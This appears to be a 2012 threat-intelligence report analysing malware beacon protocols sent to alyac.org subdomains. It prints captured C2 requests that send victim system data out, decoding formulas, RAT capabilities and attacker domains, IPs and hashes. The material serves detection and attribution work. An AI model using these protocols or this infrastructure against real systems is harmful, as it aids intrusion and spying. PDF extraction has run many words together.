Details of the compromised code signing certificate are shown in Figure 2.
(
Fagerland,2011) FIGURE 2: COMPROMISED CERTIFICATE DETAILS The compromised code signing certificate was revoked on 29 July 2011 but, as the malware was signed on 3 July 2010 and the revocation was not active for software signed before 29 July201113, the certificate continued to validate for this malware after the revocation.
(Fagerland,2011) The date of effect of the revocation has since been backdated to prevent this malwares certificate from validating14.The new date of effect still maynot prevent the validation of all malware using this compromisedcode signingcertificate.
12 Hupigon is a remote administration tool from China.
It has rootkit functionality, can log user activity and establishes outboundcommunicationsto a C2server.
(
FSecure Corporation) 13 The revocation is active from the revocationDate (in thiscase, 29 July 2011) specifiedin the Certificate Revocation List.
14 The revocation for the compromisedcode signing certificate has been backdated to 12 April 2010 so that the earliest known malware signedwithit no longer validates.
(
Verisign, 2011) Serial Number: 046931BF57EBC5947D3DC4EE7A236E Common Name: YNK JAPAN Inc Status: Revoked Validity (GMT): Nov 27, 2009 Nov 27 2011 Class: Digital IDClass 3 Software Validation Organisation: YNK JAPAN Inc Organisational Digital IDClass 3 MicrosoftSoftware Unit: Validation v2 State: Chuoku City/Location: Nihonbashi Kodenmachou106 Country: JP Serial Number: 6724340ddbc7252f7fb714b812a5c04d Issuer Digest: 96c16fb10ef41f9736c50c5bac0ddd67 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
THE XSHELLC601 COMMUNICATIONS Numerous compromised computers communicated with path.alyac.org on TCP port 443 a port commonly used for SSL.
These communications, however, were not SSL but instead unencrypted communications likelygeneratedbya version of the commandline based XShell 601 Remote Administration Tool (RAT)15.
A summary of the observed XShell communications, and the information they reveal aboutthe compromisedcomputer,isshown in Table 3.
The C immediately preceding the 601 in the communications is believed to indicate that the malware isnota free version butinsteada custom,or commercial,version ofthe XShell 601RAT.
BYTE POSITION SIZE (BYTES) DESCRIPTION 0 8 0x00bytesin all observedsamples.
8 4 Tickcount (number of milliseconds since system wasstarted resetsafter 49.7days).
12 4 0x00bytesin all observedsamples.
16 4 Protocol identifier 0x43 0x36 0x30 0x31(C601).
20 28 Nullterminatedusername (if successfully obtained from the system).
48 156 OSVERSIONINFOEX structure (format shown in Annex A).
204 52 Unknown.
256 32 Nullterminatedcomputer name (if successfully obtained from the system).
288 12 Process name.
300 52 0x00bytesin all observed communications.
352 36 SYSTEM_INFO16 structure (format shown in Annex B).
388 72 0x00bytesin all observedsamples.
460 12 Unknown.
472 4 Locale identifier17.
476 4 Tickcount (repeated).
480 300 Unknown.
Mainly 0x00 bytesin observed communications.
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TABLE 3: XSHELL C601 COMMUNICATION FORMAT 15 The XShell RAT is commercial software.
(
XTiger, Xdoors.net, 2011) 16 The SYSTEM_INFO structure contains information about a computer suchasitsarchitecture, type of processor andnumber of processorsused.
(
Microsoft Corporation, 2011) 17 A locale is a collection of languagerelated user preference information that typically identifies a users country and dialect.
(
Microsoft Corporation, 2011) In all observed communications the process name listed atbyte 288 was svchost.exe18.Basedon this, the malware has likely modified the system registry on the compromised computers in such a way that the RAT gets executed as a service by the trustedprocess svchost.exe eachtime the computer isstarted.
Thisprocess name,alongwith the callback location, isconfigurable,andcan be configuredafter the RAT has been compiledintoexecutable form.
While XShell supports numerous versions of the Windows OS (including Windows XP,Vista,Windows 7,andWindows2000, 2003and2008server both 32 and 64 bit versions), only computers running Windows XP were observed communicating with path.alyac.org.
The functionality of the RAT depends on the version,release number,plugins installedandthe OS on which the RAT is installed19.
Several versions of the XShell RATexist, including a free version and a spy version20.
The free version of the RAT is no longer available for download from the XDoors website, however, development of the software continues21.
Current release numbers of the XShell RAT include 601 and 603.
Previous releases date back toatleast200622.
Some functionality comes standard in all versions of the RAT including the ability to start a command shell, control processes and services, upload/download files, terminate TCP connections, create user accounts,retrieve systeminformation,log user activity (via a keylogger) ,modify timestampson files, conduct process injection, conduct denial of service attacks and shutdown or restart the computer.
Commands supported by the XShell software are listedin Annex C.(XTiger) 18 The process svchost.exe is a generic host process for services which run from DLLs.
(
Microsoft, A description of Svchost.exe in Windows XPProfessional Edition 2007) 19 Not all features are supported in each OS.
For example, raw socket sniffing is only supported in Windows 2000 and 2003.
(
XTiger) 20 Versionsof XShell include a personal edition, a mini version, an advanced version, a spy version andan enterprise version.
(
XTiger Crackersoftware, 2011) 21 Due to the author wanting to avoidunnecessary trouble, as of 16 March 2011, the free version of the XShell RAT (and also its sister product the XDoor RAT) isno longer availablefor download from the xdoors.net webpage, however, an online forum containing a list of changes made to the RAT continues to be updated.
(
XTiger, forum.xdoors.net.
Topic: XDoor/XShell free downloadpaused, 2011) 22 Previous releases of XShell include release numbers 323, 325, 327,329, 331, 333, 335and337.
(
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The RAT is Virtual Machine (VM) aware, proxy aware and can also use a specified DNS server to resolve callback domains.
Some versions have rootkit functionality and can avoid detection by antivirus software.
Thirdparty plugins can be developed and integratedinto the product.
Optional features include encrypted file search, an SMS notification service, and functionality that enables the compromised computer to be used as part of a botnet to send spam or to conduct distributed denial ofservice attacks.
Thisbroad range of functionalitymakes the software fit for a number ofpurposes andreflects the commercial nature of the software.
(XTiger) The XShell RAT is generated by the XShell Control Program the same program from whichthe malware is controlled.
The control program can be run in either Chinese language mode or English language mode,and allows the malware to be easily configured.
It provides options to digitally sign the malware, specify its connection mode (connect/listen/sniff), install the malware in one of several covert manners, recover the System Service DispatchTable (SSDT)23 before installation,andabort installation if a virtual machine isdetected.
(
XTiger) When XShell malware is generated, and the connect connection mode24 selected,the malware is configured with a static C2 host (IP address or callback domain) and control port.
Additionally, an option can be selected duringthe generation process toactivelynotify the malware ofa newC2 hostand port via a configuration webpage25.
If this option is selected, the malware communicates with both a configuration webpage, and a C2 server at regular intervals.
The interval for each can be separately configured to a value of between 30 and 3600 seconds(inclusive).
(XTiger) The XShell RATsthatcommunicatedwiththe C2 hostpath.alyac.org had been configured to use a 36 secondinterval.
Itisnotknown whether the malware was configured solely with a static C2 host or 23 The SSDT is often used by kernel mode rootkits to evade detection.
24 In the connect mode the malware attempts to communicate with itsC2server, as opposed to the listenmode in which it waits for a C2server to attempt to connect to it.
25 The configuration webpage isoften namedxcip.aspandcan be generatedanduploadedfrom within the controlprogram.
Xcipis presumably an acronym for Xdoor Configure IP address or somethingsimilar.
whether the malware also retrieves its C2 host and port froma configuration webpage.
XShell Configuration Webpages XShell configuration webpages contain, in encoded form, a colonseparated IP address (or callback domain) and port for the malware to use to communicate with its C2 server.
The encoded IP address (or callback domain) andcontrol portcan be decodedone byte ata time usingthe formula: di ei ((i8)x), where i is the byte index,diis the decodedbyte,ei is the encodedbyte andxis a one byte key.
This isthe equivalent of subtracting both the key and the byte position number [07] from each byte.
The position number ismodulo8 i.e.repeats every8 bytes.
For example, if the compromised computers received a C2 host of PATH.ALYAC.ORG and a control port of 443 from a configuration webpage, anda keyof0x16(22in decimal) was usedtoencode the control information, the configuration webpage would have contained the encoded string fXlaH\hvWZFhlbVQJJ.
THE UPDATE?
COMMUNICATIONS HyperTextTransfer Protocol (HTTP)POST Update?
requests were sent to both path.alyac.org and update.alyac.org from compromised computers.
Two request formats were observed Variant A (shown in Figure 3) in whichthe file pathrequested was /update?productwindows, and Variant B (shown in Figure 4) in whichthe file pathrequested was /update?idnumber,where numberrefers toan eight digit hexadecimal number that changes between requests.
The domain path.alyac.org only receivedVariantB requests,while both variants were sent toupdate.alyac.org.
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A. Thismaliciousfile isidenticalto that usedin the SKCommunicationshackexcept for its configuration.
(
Hispasec Sistemas, 2011) 30 The Destory RAT withMD5hash 7543 64D9DB70 2DC7 1532 7B40 BF97 E556 is detected by antivirus software as both Backdoor.
Sogu and TrojanDownloader:Win32/Thoper.
B.
(Hispasec Sistemas, 2011) 31 Useragents are used in HTTP communications to tell webservers whichOS andweb browser their clientsare using, so they can serve compatible webpages.
POST /update?productwindows HTTP/1.1 Accept: / X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1SV1 Host: update.alyac.org Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Cookie: VisitorIDc2a4b456-e11e-4c37-88d8- e770aa88058dExp9/25/2014 6:14:17 AM POST /update?id3109c2a2 HTTP/1.1 Accept: / X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1SV1 Host: path.alyac.org Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Cookie: VisitorIDbd5ab197-355d-42cb-ae1b- 8d23f1dd55edExp9/25/2014 6:03:33 AM OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
CookieStealing Cookies were sent with the HTTP POST requests from all butthree IP addresses.
A cookie named VistorID was presentanytime a cookie was sent.
On occasion a Yahoo, SessionId and/or fcVal cookie was also present in the requests.
The transmission of these cookies could facilitate session stealing and, in the case of the Yahoo cookie, enable unauthorised webmail access.
Each VisitorID cookie contained an expiry time between 9/25/2014 5:50:03 AM and 9/25/2014 6:14:17AM.The expirytime isunique for eachvictim andremained constant (per victim)across the HTTP POSTrequests.
It ispossible the victimsreceivedthe cookie from a C2 server with which they had previouslycommunicated,or,froma server hostinga webpage that caused the initial infection.
It is also possible that the cookie, and the propinquity of the times in the cookies, is coincidental, and that the victimsreceived the cookie fromother locations.
THE MURCY COMMUNICATIONS Multiple Chinese IP addresses were observed submitting HTTP GET requests to the host path.alyac.org.
Data contained within the communications indicatedthatthe requests were all sent from a single computer, and therefore that computer was notusinga static IPaddress.
The data from the computer was carried in the requests in an encoded form (as described below) within a HTTP header namedExtraData.
Twoother unique headers were also present in the requests ExtraDataBind and ExtraDataSpace.
The communications appear tobe generated by malware known as Backdoor.
Murcy that is reportedlynot in widespreaduse32.An example ofan actual HTTPGET request isshown in Figure 5.
32 Symantec Corporation assesses the number of Backdoor.
Murcy infectionsto be less than 50.
(
Ward, 2011) FIGURE 5: SAMPLE OF MURCY COMMUNICATIONS The path in the HTTP GET requests is the computers tick count (i.e.
the number of milliseconds since the system was started).The requests fromthe victim occurred approximately every 11 seconds when the computer was turnedon.
Accordingly, the number in the URIincreased by approximately11000 each request.
Where there was a break in the communications (presumably due to the computer beingshutdown or rebooted),the counter resetand was between 128703 and 133243 in the next communication.
This indicates that the malware began communicating from this compromised computer within minutes of the computer being booted.
The encodeddata within the ExtraData header can be decodedusing the standardBase64 alphabet but with modified bit placement.
The standard Base64 algorithm decodes encoded strings using consecutive bits read left to right i.e.
bits 07would form the firstdecoded byte (shown in Figure 6).
For Murcy communications,the input bitsthatform each output byte are not taken contiguously.
Figure 7 describes how the first three decoded bytes are constructed, and can be used to implement a decodingalgorithm.
GET /150828 HTTP/1.0 Connection: Keep-Alive Accept: / Host: path.alyac.org User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) Extra-Data-Bind: DE6A34D80D43B930 Extra-Data-Space: 65536 Extra-Data: 4ZFNSAAEAAh2AoNAAAAAAgRCHACwoSogAjKhCCf/HA AVNAAAAeAAAgDBAAABIAAAs0kAAUAAAAQAAAAAooAA AIAAAAATAAAAKCAAAgKAAAgqAAAA4CAAAgNAAAAOAM DA3AgQAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxAEEAzAQOAADA5AAMAkDAwAgNAkDAxAAAAMFAlB gcAYHApBwYAUGAgAAUAEGAjBwaAACAzAAAAAAATBQW AMFAUBQRA0EAAAwVA8EAXBQLAUEA4AQRAxxxxxxxxx xxxxxxxxxx2AAAAAAA Cache-Control: no-cache Pragma: no-cache Content-Length: 0 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 10 11 0 1 2 3 4 5 14 15 16 17 6 7 8 9 18 19 20 21 22 23 12 13 FIGURE 7: BIT PLACEMENT FOR MURCY DECODING For some input data sizes a crude, but functionally equivalent, approach is to reverse the input bytes, apply a standard Base64 decoding, and then reverse the outputbytes.
IP2B Protocol The decoded string contains communications of a formathereon referred to as the IP2B protocol.
All observedIP2B communications began witha 16byte header containing the hexadecimal values 0x12345678 and 0x10001000, and the size of the data.
The decodedversion of the Murcy ExtraData string fromFigure 5 isshown in Figure 8.
FIGURE 8: EXAMPLE OF DECODED MURCY DATA STRING The decoded data reveals the name of the compromisedcomputer, thatthe computer isrunning Windows XPService Pack 3, itsinternal IPaddress is 192.168.132.30, its screen resolution is set to 1920x1080 andthatitslocale33 isChinese China.
A summary of each byte in the observed communications isprovided in Table 4.
BYTEPOSITION SIZE (BYTES) DESCRIPTION 0 4 Protocol identifier.
0x12345678 in all observedcommunications.
4 4 Hexadecimal value0x10001000 in all observedcommunications.
8 2 Data size in bytes(excluding header).
10 2 Data size in bytes(excluding header).
12 4 0x00in all observed communications.
16 4 0x18 0x09 0x07 0x20in all observed communications.
20 4 IPaddress.
Value is bigendian.
24 4 IPaddress.
Value is bigendian.
28 4 Unknown.
32 4 Unknown.
36 4 Horizontalscreen resolution (pixels).
40 4 Verticalscreen resolution (pixels).
44 4 Locale identifier34.
48 4 Tickcount.
Value isidenticalto that present in the URI within the Murcy HTTP GET requests.
52 4 OS major version.
56 4 OS minor version.
60 4 OS build number.
64 4 Platform ID.
68 24 Unknown.
92 SizeIdent Ident A null terminated2byte wide character identifier string.
[
92 SizeIdent] SizeSPack SPack A nullterminated2byte wide character stringindicatingthe latest Service Packinstalled.
[
92 SizeIdent SizeSPack] SizeUName UName A null terminated2byte wide character username.
[
92 SizeIdent SizeSPack SizeCName] SizeCName CName A nullterminated2byte wide Unicode character computer name.
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| 39,653
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Symantec Corporation discovered Backdoor.
Murcy on 31 July 2011, yet the same malware appears to have been first detected by Kaspersky Lab on 11 January 2010 36 .
Malware samples withthe same attributes date back toatleast October 2009 37 .
This suggests that the Murcy malware has been in use for atleasttwoyears.
Known Murcy malware uses the callback domains albertstein.ddns.us 38 , alvington.jetos.com39, ftp.xmahone.ocry.com40, and superaround.ns02.biz 41 .
These callback domains were all also reportedly used in the March 2011 intrusion into RSAs network.
That intrusion resulted in the theft of information related to RSAs SecurID twofactor authentication products.
The stolen information was later used to enable targeting of defence contractors.
(
Coviello, 2011).
(
Rasmussen, 2011) (USCERT,2011).
35 A mutex is a technicalconstruct usedto control access to system resources.
In thiscase the technical meaningisless significant than the fact that the mutex in the Murcy malware isuniquely named.
36 Malware that fitsthe profile of Murcy malware wasdetectedon 11 January 2010 as Backdoor.
Win32.Agent.anvj.
(
Kaspersky Lab ZAO, 2010) 37 Malware detected in 2009 with the MD5 hashes 3FDE A18B 9610 CBC9 B63B A7A4 4899 FBFB and 42E8 163B 7F08 DD38 3E62 E4BD B7F0 7C08 is known to callback to IP address 203.160.67.130.
(
Sunbelt, 2009) (Sunbelt Security, 2009) 38 Malware with the MD5 hashes 19B0 227B EC75 BEF9 3C6C CC54 9B6D 2BA0and 3DF0 D0AB4AD9DA45 59A1C6464C85 26D1 callback to the domain albertstein.ddns.us.
(
GFI Software, 2010) (Sandbox, 2010) 39 Malware with the MD5 hashes 91A2 68B3 17D2 CC65 69B8 5BB0 3A5F F841 and 69ED 8F7B 0046 9560 45A9 0E36 E3C8 3F6A callback to the domain www.alvington.
JetOS.com.
(
GFI SandBox, 2011) (Sunbelt Security, 2010) 40 Malware with the MD5 hashes 0D38 D6C2 B9EB 817B 40AF C427 2545 A43B, 3E37 36DF FEDA F2A0 AE4D 9485 6793 3B3F and9ADD C6D573309399E2B878873A00 A921callback to the domain ftp.xmahone.ocry.com.
(
GFI Sandbox, 2011) (Telus, 2011) (Threat Expert Ltd, 2011) (GFI Sandbox, 2011) 41 Malware with MD5 hash 3740 5D5B CF64 FB95 47CA CDA9 5F4C E8B4 is known to callback to www.superaround.ns02.biz.
(
GFI Sandbox, 2010) THE OSCAR PROTOCOL Numerous computers were observedcommunicating withan alyac.org subdomain on TCPport80via the Oscar protocol.
Most, but not all, of the computers also communicated to the same domain via the Update?
communications.
The protocol is believed to be associated with the same malware that produces the Update?
communications the Destory RAT.
Eachcompromised computer communicatedata different interval to the others, and accordingly, the malware on each of the compromised computers appears to have been individually configured.
For example, one computer communicated every 12 secondsandanother every16seconds.
Encrypted data was sent during each communication.
The length of the encrypted data in each packet varied between 16 bytes and 89 bytes.
After sendingthe encrypteddata the malware waited for a response.
THE BB PROTOCOL Two computers were observed communicating with update.alyac.org via the BB protocol.
One of the computers used a Chinese IP address, the other a SouthKorean IPaddress.
The BB protocol has a 21 byte header containinga 4 byte XOR key thatcan be used to decode the remainingbytes in the packet.
The packetformatis describedin Table 5.
BYTE POSITION SIZE (BYTES) DESCRIPTION 0 4 SizeBB Size in bytes(including header).
4 4 Possible communication type indicator.
0x01 0x00 0x00 0x00 in all observed communications.
8 4 Victim specific bytes.
12 4 XOR key.
16 4 Unknown.
0x01 0x04 0x01 0x00 in all observed communications.
20 1 Unknown.
0x00 in all observed communications.
21 [SizeBB] Data encodedusingthe 4byte XOR key specifiedin bytes1215.
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ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
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ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 5: BB PROTOCOL PACKET FORMAT Once decoded, the data reveals a basic beacon containing the computer name and IP address ofthe infected computer.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
After sendingthe basic beacon,the compromised computers waited for a response from the server, then closed the connection when they had not received a response from the server within five seconds.
Bothof the compromisedcomputers reattempted the communications approximately every eight seconds.
On some days the high frequency of the beacon activity resulted in over 10000 connection attempts per victim in a 24hour period.
THE DB PROTOCOL A single computer was observedcommunicatingwith the domain update.alyac.org via the DB protocol.
The communications originated from the same Chinese computer network as one ofthe BB victims but from a different computer on thatnetwork.
It is not known what malware generates the DB communications, or whether it is the same malware thatgenerates the BB communications.
The communications reveal detailed OS and system information about the compromised computer as shown in Table 6.
The OS information reveals that the compromised computer is running Windows 2003 Server Service Pack 2.
The detailed system information reveals that the compromised computer has an Intel Pentium Proclass processor, four logical processors and an LGA 77542 Central ProcessingUnit(CPU) socket.
BYTE POSITION43 SIZE (BYTES) DESCRIPTION 0 156 OSVERSIONINFOEX structure (format shown in Annex A).
156 36 SYSTEM_INFO structure (format shown in Annex B).
192 10 Computer name.
TABLE 6: SUMMARY OF FIRST 202 BYTES OF A DB PACKET The DB communications typically occurred at intervals of between 4 and 92 seconds, however, sometimes they were much further apart.
After sending the detailed beacon to the command and control server,the compromised computer appeared toexpecta response from the server.
42 The combined processor level and processor revision information indicates the computer has an LGA 775 CPU socket (Intel family 6/ model 15/ stepping 11).
(
Microsoft Corporation, 2011) (Wikipedia) 43 On several occasions the 4 bytes 70 17 00 00were prepended to the communications.
THE QDIGIT PROTOCOL One computer using a static South Korean IP address was observedsendingthe five bytes 0x51 0x310x39 0x210x00(\x51Q19)to update.alyac.org on TCP port 80 up to nearly 800 times a day.
While the communications did not occur continuously (likely due tothe computer being turnedoff),when they did occur a new connection was attempted, and the packet containing Q19 sent, approximately every minute.
It is assumed these communications are generated by malware but it is not known what malware, or which other callback domains that malware uses.
The malware appeared to expect a response fromthe server after itsent eachpacket.
FREQUENCY OFCOMMUNICATIONS The communications to alyac.org subdomains occurred frequently from each compromised computer.
A summary of typical observed intervals between communications,broken down byprotocol, isshown in Table 7.
PROTOCOL TYPICALBEACONINTERVAL (SECONDS) LURK 26 XShell C601 36 Update?
1to 13, 123, 16, 1043 or 20015 Murcy 11 Oscar 122, 13, 15, 16, (55 or 1555), (7.5,8.5 or 15) , (45, 55,106) BB 8 DB 4to 92 Qdigit 60 Commasindicate that the intervalchangedbetween victims.
Bracketsindicate that a variety of intervals were observedfrom a single computer.
TABLE 7: INTERVAL BETWEEN COMMUNICATIONS The single LURK victim was typically observed beaconing at26 secondintervals,the Murcyvictim at 11 second intervals, and the Qdigit victim at 60 secondintervals.
All ofthe XShell C601victimswere typicallyobserved beaconingat36 second intervals, and the BB victims at 8 second intervals.
The beaconing interval of the other victims does not appear to be a fixed time, and instead a degree of randomness appears to be employed.
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OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
Ports used As shown in Table 8, the observed communications all occurredon TCPport80 or TCPport 443 ports commonlyusedfor legitimate purposes44.
PROTOCOL PORT LURK 80 XShell C601 443 Update?
80 Murcy 80 Oscar 80 BB 80 DB 80 Qdigit 80 TABLE 8: COMMUNICATION PORTS USED NAMESERVERS While most malware uses the local DNS server settings of the compromisedcomputer to resolve its callback domain to an IP address, in some observed communications the attackers appear to have specificallychosen the DNSservers.
The majority of XShell C601malware that called back to path.alyac.org used Google DNS servers, presumably instead of the DNS settings on the compromisedcomputers.
The XShell C601malware supports use of a specified DNS server to resolve callback domains, and it appears the attackers have made use ofthis functionality.
The Update?,Oscar,Murcy andQdigitvictimsall appear tohave usedtheir local DNSserver settings to resolve the callback domains.
On the other hand,the single LURK victim used Google DNS servers to resolve its callback domain, as did the Chinese BB victim (andassociatedDB victim)but not the South Korean BB victim.
This suggests that the LURK, BB and DB malware may also have the same DNS functionality as XShell, although it is possible that the victims are configured touse the Google servers as their regular DNSservers,andthatthe malware is notusingdifferentservers.
44 TCP ports 80and443 are commonly used for legitimate HTTP and HTTPS activity respectively, and as such communications to these portsare often allowed throughfirewalls.
ASSOCIATIONWITHMALWARE ANDATTACKS The observed communications have links to a variety ofmalware andtoa number ofattacks,as illustrated in Figure 9,anddetailed below.
The Update?
communications and the Oscar communications are both associatedwith the Destory RATfamily of malware.
This malware familyhas been used in a number of targeted attacks including the July2011SK Communications hack.
Through shared infrastructure the malware has links to the series of coordinated, covert and targeted cyber attacks dubbedNightDragon45,andalsotothe recentseries of targeted attacks that have used Sykipot 46 malware.
Through a shared callback domain the Destory RAT malware also has links to socially engineered emails including those that targeted experts on the relationship of the United States with Japan, China and Taiwan.
The Destory RAT is also connected to LURK malware via a compromised code signing certificate which was used to sign both pieces of malware, and to IP2B communications by a shared callback domain.
The XShell RAT has been used in numerous attacks butmanyofthese attacks are notexpectedto be associated with the same attackers.
On the other hand, the callback domains used by Murcy malware suggest that the malware is used,perhaps solely,by the attackers responsible for the March 2011 RSA breach.
IP addresses, to which alyac.org and its subdomains previously pointed, associate the domain, and the attackers behind it, with a raft of activity.
This includes activity involving callback domains registered to appear as though they were associated with legitimate, trusted entities, and domains registeredtoa Lee Cooper thattie back to the SK Communications hack.
45 The NightDragon series of attacks began in, or prior to, November 2009 and targeted global oil and petrochemical companies.
(
McAfee Foundation Professional Servicesand McAfee Labs, 2011) 46 Sykipot is a family of malware used since 2007 to steal intellectual property.
The malware has been used in a series of socially engineered email campaigns against a variety of sectors.
On a number of occasions, the attackers have exploited zero day vulnerabilities to install the malware.
Some variants of the malware include features that enable it to hijack smartcards.
(
Thakur, 2011) (Lelli, 2010) (Blasco, 2012) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
|
198
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FIGURE 9: ILLUSTRATION OF LINKS 209.133.72.83 .mail ru2.com pc.nprotects .org Trojan.
| 39,769
| 39,927
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FIGURE 9: ILLUSTRATION OF LINKS 209.133.72.83 .mail ru2.com pc.nprotects .org Trojan.
Win32.Generic (tcomoniter.exe) DBmalwareDBprotocol Trojan.
Win32.
AgentBypass bbs.ezxsoft.com Unique directory (03a075fb70d5d6 75f9dc26fc) Severaltargeted attacks Lee Cooperro.diggfunny.com Several attacks Several attacks 202.30.224.240 wow.travlman.com .network sec.net IP2B protocol IP2B malware NightDragon Poison Ivy RAT www.adv138mail.com 175.45.22.220 67.90.204.228 .oerco.com newhose.ntimobile.com sms.servegame.com www.mailsignin.net 112.121.171.94 pu.flowershow.org Targetedemails .join3com.com SK Communications hack .duamlive.com 203.160.67.131 .mailkr2.com Alyac.org andits subdomains LURK malware The LURK protocol Qdigit malware Qdigit communications Murcy malware Destory RAT Update?
communications BB malware XShell C601 communications XShell RAT BB protocol Oscar protocol superaround .ns02.biz ftp.xmahone .ocry.com albertstein .ddns.us alvington .jetos.com RSA Breach .windowupdate.org Compromised code signingcertificate (6724340ddbc7252f7fb 714b812a5c04d) 222.122.20.241 .afbjz.com Sykipot FinancialIP address .welldone 123.net .todaygonever.
com .greenright way.com .filesdelete.com Janagreen2000 .newcarstyle .com 67.79.149.90 .bluelightness.com 209.53.155.244 .topix21 century.com madconnon 126.com 12.68.249.62 .world securitys.com 68.178.232.100 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
NightDragon DestoryRAT malware is known to communicate with the callback domain vupdate.mailkr2.com47, while NightDragon malware isknown tocommunicate with ma2.mailkr2.com 48 and www2.mailkr2.com 49 .
The communications sent to www2.mailkr2.com are similar 50 , but not identical, to IP2B communications, further linking the observed activity.
Other mailkr2.com subdomains include cb85.mailkr.com, sa.mailkr2.com, and skylie.mailkr2.com at least two of which are known to be associated with malware51.
Destory RAT malware is known to use the callback domain bbs.afbjz.com 52 , while known NightDragon malware uses the callback domain blog.afbjz.com53.As of3February2012, both of the subdomains point to US IP address 67.90.204.228.
This overlap in infrastructure appears to be of particular significance given the following links between other activity on the same IP address.
As of6 February 2012, the domains gmail.mail ru2.com, live.mailru2.com, mailru2.com, msn.mailru2.com, usaisbig.oerco.com, whois.oerco.com, www.afbjz.com, and www2.oerco.com also point to IP address 67.90.204.228.
At least one of these domains is otherwise known to be associatedwithmalware54.
47 The Destory RAT withMD5hash 9555 8985 D211F7681ACC 1AC9 2DCB 07C8 A096 B403 uses the callback location vupdate.mailkr2.com.
48 Malware with MD5 hash 2D8A 9038 E151 FB30 D45E A866 8AFD2A8E, known to call backto ma2.mailkr2.com, isdetected by antivirussoftware as TrojanDropper:Win32.RedSip.
A, an alias for NightDragon malware.
(
ThreatExpert Ltd., 2010) (Hispasec Sistemas, 2011) (Kurc, 2011) 49 Malware with MD5 hash 5BC5 97E4 8270 F04E C9B6 8343 2432 E352, known to call back to www2.mailkr2.com, is detectedby antivirus software as Backdoor:Win32/RedSip.
Asvc, an alias for NightDragon malware.
(
Sunbelt Security, 2010) (Hispasec Sistemas, 2010) 50 Bothcommunicationsbegin witha 16 byte header containingthe protocol identifier 0x12345678 and a data size, and the data in bothcontainssimilar system information but in a different order.
51 Malicious filesare separatelyknown to attempt communications with sa.mailkr2.com on TCP port 8000, and cb85.mail kr2.comon TCPport 6543.
(Doctor Web, 2011) (Sunbelt Security, 2011) 52 The domain bbs.afbjz.com is a known callback domain of Destory RAT malware that is detected by antivirus software as bothBackdoor:Win32/Thoper.
A andBackdoor.
Sogu.
(
Wong,2011) (Mullaney, 2011) 53 The domain blog.afbjz.com is a known callback domain of NightDragon malware that is detected by antivirus software as Trojan.
Dropper:Win32/Redsip.
A.
(Kurc, 2011) 54 Malware that is detected by antivirus software as Trojan.
DownLoader4.8565 communicates with usig.oerco.com on TCP port 100.
(
Dr.
Web, 2011) The oerco.com domain isregisteredtothe same person as afbjz.com55, associating the two domains with a single entity.
The mailru2.com domain appears tobe associatedwiththe same entityas the mailkr2.com domain used byNightDragon malware andthe Destroy RAT(as describedabove).While the domains were registered usingdifferentdetails,they were registered on the same day through the same domain name registrar,andthe recordslater updated minutes apart56.
This suggests that all C2 activity involving IP address 67.90.204.228 may be associatedwith a single entity.
The recentlyexpireddomain todaygonever.com also previously pointed to the same IP address.
As will be discussed later in the paper, todaygonever.com is directly associated with malware andhas links tothe recentseries ofSykipot attacks.
The recently expired domains goodfeelingauto.com and deadlinely.com also pointed to the same IP address and were likely associatedwith the same attackers.
SociallyEngineered Emails Other Destory RAT callback domains are also otherwise linked to malicious activity.
For example, the callback domain www.adv138mail.com 57 was used by a Poison Ivy RAT58 sent in a July 2011 socially engineered email campaign.
The emails contained an attachment, named Meeting Agenda.pdf, which attempted to exploit a vulnerability specified by the Common Vulnerabilities and Exposure (CVE) number 2010 288359 to install the Poison Ivy RAT.
A clean decoy PDF file was shown to the user when the attachment was opened.
A copy of the text used in the socially engineeredemail campaign is shown in Figure 1060.
55 Both domains are registered to a person whose contact email address is madconnon126.com.
The name and address details are identical for bothdomain registrations.
56 The domain mailkr2.com was last modified on 24 February 2012 at 1:40:32, while the domain mailru2.com was last modified on the same day at 1:43:53.
Both domains were registeredthrough35TechnologyCo.,
Ltd on 8 March2010.
57 The domain www.adv138mail.comislistedasa Backdoor.
Sogu callback.
(
Mullaney, 2011) 58 The Poison Ivy RAT is an advanced remote administration tool for Windows.
Bothfree andpaidversions of the RAT are available.
(
shapeless n.d.)
59 CVE 20102883 refers to a particular vulnerability in certain versionsof Adobe Reader andAcrobat which an attacker can use to take control of affected Windows, Macintosh and UNIX systems.
(
Adobe Systems Incorporated2010) 60 Emailcourtesy of MilaParkour of contagiodump.blogspot.com.
(
Parkour 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
FIGURE 10: TEXT OF A SOCIALLY ENGINEERED EMAIL ASSOCIATED WITH WWW.ADV138MAIL.COM The domain www.adv138mail.com is also associated with malware detected by antivirus software as Backdoor.
Win32.Delf.abow 61 .
Other known subdomains include: asm.adv138mail.com, dns.adv138mail.com, ftp.adv138mail.com, ihi.adv138mail.com62, nov.adv138mail.com.
These domains (with the possible exception of the dns and ihi subdomains) have all pointed to the same infrastructure 63 as the domains pu.flower show.org and www.mailsignin.net.
That shared infrastructure is known to have been used to send socially engineered emails that contained an attachmentnamedinvtation.pdf [sic].Similar tothe Meeting Agenda attachment, invtation installs a Poison IvyRAT,but one configured to communicate withthe callback domain pu.flowershow.org64.The text used in the emails isshown in Figure 1165.
61 The malware with MD5 hash F0B848A841D4 EF34 06A6F9C4 766C 540B modifies the hosts file on computers it is run on so that the file contains an entry for www.adv138mail.com.
(
